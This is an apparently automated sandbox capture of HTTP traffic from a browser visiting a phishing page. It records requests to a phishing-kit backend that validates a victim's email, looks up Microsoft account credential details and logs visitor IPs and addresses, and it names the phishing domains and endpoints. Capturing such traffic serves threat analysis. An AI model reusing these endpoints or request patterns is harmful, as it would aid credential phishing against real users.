.btn-success:hover { color: #fff; background-color: #218838; border-color: #1e7e34 } .btn-success.focus, .btn-success:focus { box-shadow: 0 0 0
2024-04-25 19:44:59 UTC	16384	IN	Data Raw: 0a 20 20 20 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 0d 0a 38 30 30 30 0d 0a 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2e 32 35 35 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2e 32 35 35 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 2e 33 65 6d 20 73 6f 6c 69 64 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 2e 33 65 6d Data Ascii: .dropdown-toggle::after { display: i8000nline-block; width: 0; height: 0; margin-left: .255em; vertical-align: .255em; content: ""; border-top: .3em solid; border-right: .3em
2024-04-25 19:44:59 UTC	16384	IN	Data Raw: 2c 20 32 35 35 2c 20 2e 35 29 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 75 73 74 6f 6d 2d 73 65 6c 65 63 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 63 61 6c 63 28 32 2e 32 35 72 65 6d 20 2b 20 32 70 78 29 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 2e 33 37 35 72 65 6d 20 31 2e 37 35 72 65 6d 20 2e 33 37 35 72 65 6d 20 2e 37 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 39 35 30 35 37 3b 0d 0a 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 Data Ascii: , 255, .5) } .custom-select { display: inline-block; width: 100%; height: calc(2.25rem + 2px); padding: .375rem 1.75rem .375rem .75rem; line-height: 1.5; color: #495057; vertical-a
2024-04-25 19:44:59 UTC	16384	IN	Data Raw: 20 20 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 20 2e 64 72 6f 70 75 70 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 61 75 0d 0a 38 30 30 30 0d 0a 74 6f 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 31 30 30 25 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6e 61 76 62 61 72 2d 6c 69 67 68 74 20 2e 6e 61 76 62 61 72 2d 62 72 61 6e 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 39 29 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6e 61 76 62 61 72 2d 6c 69 67 68 74 20 2e 6e 61 76 62 61 72 2d 62 72 61 6e 64 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 2e 6e 61 76 62 61 72 2d 6c 69 67 68 74 20 2e 6e 61 76 62 61 72 2d 62 72 61 6e 64 3a 68 6f 76 Data Ascii: .navbar-expand .dropup .dropdown-menu { top: au8000to; bottom: 100% } .navbar-light .navbar-brand { color: rgba(0, 0, 0, .9) } .navbar-light .navbar-brand:focus, .navbar-light .navbar-brand:hov
2024-04-25 19:44:59 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 32 35 72 65 6d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 61 6c 65 72 74 2d 68 65 61 64 69 6e 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 61 6c 65 72 74 2d 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 61 6c 65 72 74 2d 64 69 73 6d 69 73 73 69 62 6c 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 Data Ascii: margin-bottom: 1rem; border: 1px solid transparent; border-radius: .25rem } .alert-heading { color: inherit } .alert-link { font-weight: 700 } .alert-dismissible { pad
2024-04-25 19:44:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 62 6f 74 74 6f 6d 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 2e 34 72 65 6d 20 30 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 0d 0a 31 30 30 30 30 0d 0a 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 61 75 74 6f 5b 78 2d 70 6c 61 63 65 6d 65 6e 74 5e 3d 62 6f 74 74 6f 6d 5d 20 2e 61 72 72 6f 77 2c 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 62 6f 74 74 6f 6d 20 2e 61 72 72 6f 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 30 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 61 75 74 6f 5b 78 2d 70 6c 61 63 65 6d 65 6e 74 5e 3d 62 6f 74 74 6f 6d 5d 20 2e 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 2c 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 Data Ascii: .bs-tooltip-bottom { padding: .4rem 0 } 10000 .bs-tooltip-auto[x-placement^=bottom] .arrow, .bs-tooltip-bottom .arrow { top: 0 } .bs-tooltip-auto[x-placement^=bottom] .arrow::before, .bs-tooltip

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49726	172.67.172.36	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:44:59 UTC	648	OUT	GET /web/site/go-back?token=9704A-4FC48-AE885-98DCB-DCDF5-7F3FD-EF-16-81851-875&usr=joeblow@xyz.com HTTP/1.1 Host: dashboard.spamfather.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:00 UTC	908	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:45:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/8.1.6RC1 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: OPTIONS, GET, POST Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IffxO8gyMj138FH%2BAhrTw7Y3w3Bqqeo2NuJW3QysSOaDkklWyka8fNTNwN%2ByW1YGnrdTja3s2kMzuW8wRHtTobYzBmG1CGCrMIDvZDoExD%2F6bI2%2F5%2FPjS1Gq4Hh9m3ZA4bT6Y%2Fa%2B32o3lB8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0d4b3baf1674a-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 19:45:00 UTC	461	IN	Data Raw: 32 61 61 0d 0a 7b 22 55 73 65 72 6e 61 6d 65 22 3a 22 6a 6f 65 62 6c 6f 77 40 78 79 7a 2e 63 6f 6d 22 2c 22 44 69 73 70 6c 61 79 22 3a 22 6a 6f 65 62 6c 6f 77 40 78 79 7a 2e 63 6f 6d 22 2c 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 35 2c 22 49 73 55 6e 6d 61 6e 61 67 65 64 22 3a 66 61 6c 73 65 2c 22 54 68 72 6f 74 74 6c 65 53 74 61 74 75 73 22 3a 31 2c 22 43 72 65 64 65 6e 74 69 61 6c 73 22 3a 7b 22 50 72 65 66 43 72 65 64 65 6e 74 69 61 6c 22 3a 31 2c 22 48 61 73 50 61 73 73 77 6f 72 64 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 65 4e 67 63 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 46 69 64 6f 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 51 72 43 6f 64 65 50 69 6e 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 53 61 73 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c Data Ascii: 2aa{"Username":"joeblow@xyz.com","Display":"joeblow@xyz.com","IfExistsResult":5,"IsUnmanaged":false,"ThrottleStatus":1,"Credentials":{"PrefCredential":1,"HasPassword":true,"RemoteNgcParams":null,"FidoParams":null,"QrCodePinParams":null,"SasParams":null,
2024-04-25 19:45:00 UTC	228	IN	Data Raw: 53 56 6a 2d 48 67 64 38 54 30 4d 50 37 64 51 5f 59 4e 4b 6d 30 42 77 47 77 73 6b 52 71 44 4b 52 6c 63 4a 70 50 57 5a 74 63 42 70 4c 32 6b 62 6d 35 73 55 4a 68 2d 77 4f 59 42 65 67 5a 32 70 68 4e 6c 30 49 5f 73 36 49 31 38 6f 37 54 6c 4d 67 72 70 31 30 78 74 34 43 50 77 6f 73 79 75 66 7a 6f 2d 53 6d 6e 5f 59 4c 42 49 67 50 34 5f 68 30 4c 4e 36 35 53 4e 53 37 79 42 52 72 2d 67 6b 72 41 32 71 42 53 6d 64 76 76 71 37 56 63 5a 6a 37 59 6d 2d 6e 63 44 6e 56 68 45 73 53 32 57 37 43 44 51 71 4c 53 5a 37 6b 72 6c 54 4e 77 4c 42 49 61 71 71 54 30 47 45 5f 6d 69 48 52 44 73 36 4a 73 46 43 49 56 65 65 75 5f 58 56 4b 63 6d 4e 67 31 52 66 57 72 6d 6e 59 4e 65 6a 38 34 69 41 41 22 7d 0d 0a Data Ascii: SVj-Hgd8T0MP7dQ_YNKm0BwGwskRqDKRlcJpPWZtcBpL2kbm5sUJh-wOYBegZ2phNl0I_s6I18o7TlMgrp10xt4CPwosyufzo-Smn_YLBIgP4_h0LN65SNS7yBRr-gkrA2qBSmdvvq7VcZj7Ym-ncDnVhEsS2W7CDQqLSZ7krlTNwLBIaqqT0GE_miHRDs6JsFCIVeeu_XVKcmNg1RfWrmnYNej84iAA"}
2024-04-25 19:45:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49727	172.67.172.36	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:44:59 UTC	593	OUT	GET /web/site/check-em?email=joeblow@xyz.com HTTP/1.1 Host: dashboard.spamfather.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:00 UTC	879	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:45:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.6RC1 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: OPTIONS, GET, POST Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DJODSAQUzCX7kGjTGTkgI5nMXXZ%2Flw7Wr9luJYThQkR6wO0frnfQnDIPGvuGwr%2B53KO4JXiZF6CYnHNvaqP%2B0G9XyLzzVDHZEypTDwWhuArZf1W%2Fp4jtsPDdx9HhIyUTiXLGStuAs1E6vpk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0d4b3be0844e3-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 19:45:00 UTC	10	IN	Data Raw: 35 0d 0a 76 61 6c 69 64 0d 0a Data Ascii: 5valid
2024-04-25 19:45:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49723	152.199.4.44	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:44:59 UTC	656	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:44:59 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2808612 Cache-Control: public, max-age=31536000 Content-MD5: R2FAVxfpONfnQAuxVxXbHg== Content-Type: image/svg+xml Date: Thu, 25 Apr 2024 19:44:59 GMT Etag: 0x8DB5C3F4BB4F03C Last-Modified: Wed, 24 May 2023 10:11:52 GMT Server: ECAcc (agc/7FA7) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 687a15df-701e-0054-73bd-7d951d000000 x-ms-version: 2009-09-19 Content-Length: 1592 Connection: close
2024-04-25 19:44:59 UTC	1592	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 2c 30 2c 30 2c Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49728	23.54.200.130	443

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:44:59 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-25 19:44:59 UTC	531	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0rcGnYgAAAAANOnx9vccHTr21ROgX9ESTU0pDRURHRTAzMDkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=127084 Date: Thu, 25 Apr 2024 19:44:59 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-25 19:44:59 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49729	172.67.172.36	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:00 UTC	595	OUT	GET /web/blocked-ip/check-ip?ip=185.152.66.230 HTTP/1.1 Host: dashboard.spamfather.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:01 UTC	879	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:45:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.6RC1 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: OPTIONS, GET, POST Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mQa7tMlLlZdT%2BPZx8Me91zHdqvEbeWF1fnEEu5NE3Aoex2pVowYrnnkD1V%2BQYNSn8MBmHTuM1Izks%2FL9O9brY4l6Tu7ucgVlc9tAg92pMMxhuDuPv3UKev%2BpmJEgP7WVvc9hFYlPyHXa7o8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0d4b9088c8832-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 19:45:01 UTC	10	IN	Data Raw: 35 0d 0a 66 61 6c 73 65 0d 0a Data Ascii: 5false
2024-04-25 19:45:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49730	172.67.172.36	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:00 UTC	801	OUT	GET /web/site/stats?ip=185.152.66.230&ua=Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64)%2520AppleWebKit%252F537.36%2520(KHTML%252C%2520like%2520Gecko)%2520Chrome%252F117.0.0.0%2520Safari%252F537.36&em=brianknowt23%40gmail.com HTTP/1.1 Host: dashboard.spamfather.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:01 UTC	902	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 25 Apr 2024 19:45:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.6RC1 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: OPTIONS, GET, POST Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ytGYuw0SBBtS3LQxOuMJo%2Bh02VwuV1wwNr6UzKA94yhd9%2BmZwrd8fuECyCuzwdgcQ%2FfcHJ4xhwg%2BLEOj6vkPNJ%2F%2BJZ5kfDghCo04epF2x3PrRXmfjyzmx4GVPyLsbOmdTls4p5fDgtXeOHA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0d4b90cd5673c-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 19:45:01 UTC	467	IN	Data Raw: 36 66 31 34 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 79 69 69 5c 62 61 73 65 5c 45 72 72 6f 72 45 78 63 65 70 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 72 65 73 65 74 20 2a 2f 0a 68 74 6d 6c 2c 62 6f 64 79 2c 64 69 76 2c 73 70 61 6e 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 70 2c 70 72 65 2c 61 2c 63 6f 64 65 2c 65 6d 2c 69 6d 67 2c 73 74 72 6f 6e 67 2c 62 2c 69 2c 75 6c 2c 6c 69 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 Data Ascii: 6f14<!doctype html><html lang="en"><head> <meta charset="utf-8"/> <title>yii\base\ErrorException</title> <style type="text/css">/* reset */html,body,div,span,h1,h2,h3,h4,h5,h6,p,pre,a,code,em,img,strong,b,i,ul,li{ margin: 0; p
2024-04-25 19:45:01 UTC	1369	IN	Data Raw: 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 68 31 2c 68 32 2c 68 33 2c 70 2c 69 6d 67 2c 75 6c 20 6c 69 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 35 30 35 30 35 30 3b 0a 7d 0a 2f 2a 63 6f 72 72 65 73 70 6f 6e 64 73 20 74 6f 20 6d 69 6e 2d 77 69 64 74 68 20 6f 66 20 38 36 30 70 78 20 66 6f 72 20 73 6f 6d 65 20 65 6c 65 6d 65 6e 74 73 20 28 2e 68 65 61 64 65 72 20 2e 66 6f 6f 74 65 72 20 2e 65 6c 65 6d 65 6e 74 20 2e 2e 2e 29 2a 2f 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 36 30 70 78 29 20 7b 0a 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 7b 0a 20 20 20 20 20 20 Data Ascii: ext-decoration: underline;}h1,h2,h3,p,img,ul li{ font-family: Arial,sans-serif; color: #505050;}/corresponds to min-width of 860px for some elements (.header .footer .element ...)/@media screen and (min-width: 960px) { html,body{
2024-04-25 19:45:01 UTC	1369	IN	Data Raw: 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 35 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 70 72 65 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 30 3b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 75 72 69 65 72 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 7d 0a 0a 2f 2a 20 70 72 65 76 69 6f 75 73 20 65 78 63 65 70 74 69 6f 6e 73 20 2a 2f 0a 2e 68 65 61 64 65 72 20 2e 70 72 65 76 69 6f 75 73 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 32 30 70 78 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 33 30 70 78 3b 0a 7d 0a Data Ascii: font-size: 20px; line-height: 1.25;}.header pre{ margin: 10px 0; overflow-y: scroll; font-family: Courier, monospace; font-size: 14px;}/* previous exceptions */.header .previous{ margin: 20px 0; padding-left: 30px;}
